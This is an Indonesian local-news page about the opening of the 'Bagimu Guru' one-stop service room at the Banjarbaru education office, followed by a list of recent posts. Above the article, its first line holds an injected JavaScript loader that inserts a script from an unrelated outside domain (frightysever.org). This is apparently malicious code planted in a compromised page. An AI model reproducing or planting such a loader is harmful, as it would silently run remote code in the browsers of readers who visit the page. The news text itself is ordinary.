(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Ruang PTSP “Bagimu Guru” Disdik Banjarbaru Beroperasional


BANJARBARU, Ruang Pelayanan Terpadu Satu Pintu (PTSP) yang dinamakan “Bagimu Guru”, resmi beroperasi di Dinas Pendidikan kota Banjarbaru. Sebelum dialih fungsikan sebagai ruang pelayanan yang representatif, ruang PTSP “Bagimu Guru” ini merupakan tempat menyimpan berkas atau arsip Disdik Kota Banjarbaru.

Berbagai jenis layanan difasilitasi di ruang layanan yang menjadi kewenangan Bidang Pembinaan PAUD dan Dikmas, Bidang Pembinaan Sekolah Dasar, Bidang Pembinaan Sekolah Menengah Pertama, serta Bidang Pembinaan Pendidik dan Tenaga Kependidikan.

Terkait kehadiran ruangan tersebut, Walikota Banjarbaru H Nadjmi Adhani menyampaikan, peresmiannya merupakan perwujudan dari visi Kota Banjarbaru yakni pelayanan berkarakter, dan untuk meningkatkan kualitas layanan, khususnya layanan internal bagi para guru.

“Dengan adanya PTSP “Bagimu Guru” ini, seluruh masyarakat pendidik dalam hal ini pendidik dan tenaga kependidikan pada satuan pendidikan, maupun masyarakat lainnya, dapat dilayani secara mudah dan terpusat pada satu tempat,” ujar Nadjmi Adhani.

Disisi lain, Kadisdik Kota Banjarbaru Muhammad Aswan mengatakan, saat ini pelayanan administrasi dan sebagainya di PTSP “Bagimu Guru” masih melalui proses secara manual. Namun, ia memastikan, kedepannya akan dikembangkan lagi  untuk bisa diakses melalui sistem online.

“Saat ini para guru masih harus membawa berkas kalau ada yang diurus. Kita usahakan secepatnya online bisa digunakan. Supaya mereka yang tinggal jauh, tidak perlu repot-repot ke sini,” kata Aswan.

PTSP “Bagimu Guru” ini, ungkap Kadisdik Banjarbaru, diinisiasi untuk antispasi  terjadinya segala bentuk pencegahan perilaku pungutan liar yang selama ini terus diberantas oleh instansi pemerintah, baik di daerah, provinsi, hingga pusat.

“Kita sebisa mungkin ingin menghindari adanya tatap muka antara pegawai dengan para guru yang mengajukan permohonan. Jadi, dengan adanya satu pintu ini diharapkan tidak ada komunikasi. Komunikasi itu menjadi penyebab penyimpangan. Pertemuan itu yang dilarang,” tandas Aswan. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Perdana Auditorium ULM Banjarbaru Diisi Jemaah Sekumpul, Ikut Berdoa dari Jauh

KANALKALIMANTAN.COM, BANJARBARU - Untuk perdana, Auditorium Kampus Universitas Lambung Mangkurat (ULM) di Banjarbaru dibuka untuk… Read More

4 jam ago

Satu Arah Mulai Pukul 7 Malam dari Banjarbaru hingga Km 17 Gambut

KANALKALIMANTAN.COM, BANJARBARU - Kurang lebih dua jam menjelang kegiatan rutinan Malam Senin Momen 5 Rajab,… Read More

6 jam ago

Maulid Habsyi dan Tahlil Selesai Dibaca Pukul 20.15, Jemaah Sekumpul Berangsur Pulang

KANALKALIMANTAN.COM, MARTAPURA – Syair Khobbiri yang dibawakan dari Musholla Ar Raudhah Sekumpul menggema di hampir… Read More

6 jam ago

Mulai Ampar Sajadah Sejak Pagi, Jalan Sekumpul Sudah Penuh Jemaah

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Sekumpul sudah memadati kawasan Martapura, Kabupaten Banjar, Kalimantan Selatan, Minggu (5/1/2025)… Read More

14 jam ago

Melihat Kerelawanan Warga Banjar Menyambut Tamu Jemaah Sekumpul

KANALKALIMANTAN.COM, MARTAPURA - Kesukarelawanan warga Banjar menyambut Jemaah kegiatan rutin keagamaan Malam Senin 5 Rajab… Read More

15 jam ago

Posko Sapta Marga Bersatu di Banjarbaru Ada Bengkel Gratis

KANALKALIMANTAN.COM, BANJARBARU - Posko singgah Sapta Marga Bersatu di Jalan Karang Anyar I, Kelurahan Guntung… Read More

16 jam ago

This website uses cookies.